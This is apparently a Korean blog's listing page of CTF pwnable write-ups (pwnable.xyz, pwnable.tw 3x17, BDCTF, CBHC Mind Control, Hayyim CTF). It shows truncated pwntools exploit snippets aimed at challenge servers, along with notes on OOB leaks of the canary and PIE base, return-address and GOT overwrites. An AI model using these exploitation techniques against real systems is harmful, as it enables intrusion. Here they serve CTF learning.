Pwnable/writeup

Pwnable/writeup

HCAMP24-1 Check this Exploit Code

from pwn import * context.log_level = 'debug' p = remote("43.203.26.108", 1337) p.sendlineafter("option:", str(2)) p.sendlineafter("shortcut name:", "as") p.sendlineafter("a path:", "/home/pwn/chall") p.sendlineafter("option:", str(1)) p.sendlineafter("you want to check:", "*as*") p.sendlineafter("option:", str(4)) p.sendlineafter("option:", str(2)) p.sendlineafter("shortcut name:", "as") p.send..

Pwnable/writeup

pwnable.xyz message

해당 문제를 어떻게 풀어야하는지에 대한 지인의 요청으로 포스팅을 하겠되었습니다. 일단 해당 문제는 oob를 활용해 canary, pie leak 하는 문제입니다. 하지만 ret를 덮기위해 입력받는 함수가 scanf로, 해당 함수로 입력을 받는 다는 것입니다. 이에 다음과 같은 문자를 입력할 경우 그 위치에서 입력을 중단됩니다. \x09, \x0a, \x0b, \x0c, \x0d, \x20 이를 생각하고 leak 한 값을 가지고 ret 을 덮어 win 을 실행하려고 하면 이상한게 보입니다. 3바이트 주소중 두번째 바이트가 0xa 라는 겁니다. 이에 win으로 바로 ret를 줄 수 없습니다. ( 에전에 작성된 라이트업을 그냥 쓰면 안될 겁니다. pie_base 가 개행문자를 벗어날 수 있는 값이 나올때 까지..

Pwnable/writeup

Pwnable.tw - 3x17

gdb로 바이너리 분석해 보니, v4에 입력한 값을 전달한다는 것을 알 수 있다. 즉 sub_40EE70은 atoi이다. 실제로 문자 “ABCD”를 넣으니 필터링 된것을 알 수 있다. 즉 atoi 정수 형태의 문자만 입력받아 정수로 바꿔준다. int result; // eax char *v4; // [rsp+8h] [rbp-28h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); result = (unsigned __int8)++loop_cnt; if ( loop_cnt == 1 ) { write(1u, "addr:", 5uLL); read(0, buf..

Pwnable/writeup

BDCTF - pwnrace

from pwn import * context.log_level = 'debug' context.terminal = ['urxvtc', '-e', 'sh', '-c'] context.arch = 'amd64' #context.arch = 'i386' ip = "159.223.101.241" port = 31337 p = remote(ip, port) file_name = "./pwnrace" libc_name = "pwnrace" #p = process(file_name) e = ELF(file_name) #libc = ELF(libc_name) def slog(name, addr): return success(": ".join([name, hex(addr)])) payload = b"hAcK_Th3_P..

Pwnable/writeup

CBHC - Mind Control2

Mind Control2 (ubuntu 20.04) 1 입력시 실행 함수 ssize_t sub_40088B() { puts("Mind Control!"); printf("Size : "); __isoc99_scanf("%d", &dword_601238); printf("Your Mind : "); if ( (_BYTE)dword_601238 != 0x80 ) exit(1); return read(0, &byte_6010C0[dword_601238], 8uLL); } 두번쨰 시리즈 문제여서 그런지, 첫번쨰 문제오 유사하지만, index의 byte 위치 만큼이 0x80 이여야 진행이 된다. 이떄도 oob가 일어난다. 이는 0x180, 0x280, -0x80 등 음수부호나, 한바이트 이상에서의 데이터를 검사하..

Pwnable/writeup

CBHC - Mind Control

Mind Control (ubuntu 20.04) int sub_4008BD() { puts("Mind Print"); return puts(&byte_6010A0[index]); } 먼저 문제를 보면 2번 메뉴에서 다음과 같은 함수를 호출한다. ssize_t sub_40082F() { puts("Mind Control!"); printf("Size : "); __isoc99_scanf("%d", &index); printf("Your Mind : "); if ( index > 128 ) exit(1); return read(0, &byte_6010A0[index], 8uLL); // got overwrite // } 1번 메뉴를 입력하면 다음과 같이 size(idx)를 입력하고 이를 참고해 입력을 받는..

Pwnable/writeup

Hayyim CTF 2022 Write-up

으아.. 방금 까지 작성했던거 날라가서 빠르게 적겠습니다. Warmup 문제의도: 자칭 tiny program이라고 하는 만큼 인자 전달을 위한 gadget도 없고 프로그램 내에 binding 되어 있는 함수 자체도 write, read로 매우 제약이 되어 있다. 이때 너는 익스를 할 수 있냐 일단 문제 파일들을 다운 받으면 Dockerfile 이 존재하는데, 이를 확인하면 우분투 18.04 라는 것을 알 수 있다. 이를 참고하여 libc를 구한다. 필자는 Docker를 이용하여 실제 환경을 구축하여 진행. 그리고 해당 문제의 보호 기법은 다음과 같다. Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No..

Pwnable/writeup

드림핵 SECCOMP 풀이.

보호되어 있는 글입니다.

Kon4
'Pwnable/writeup' 카테고리의 글 목록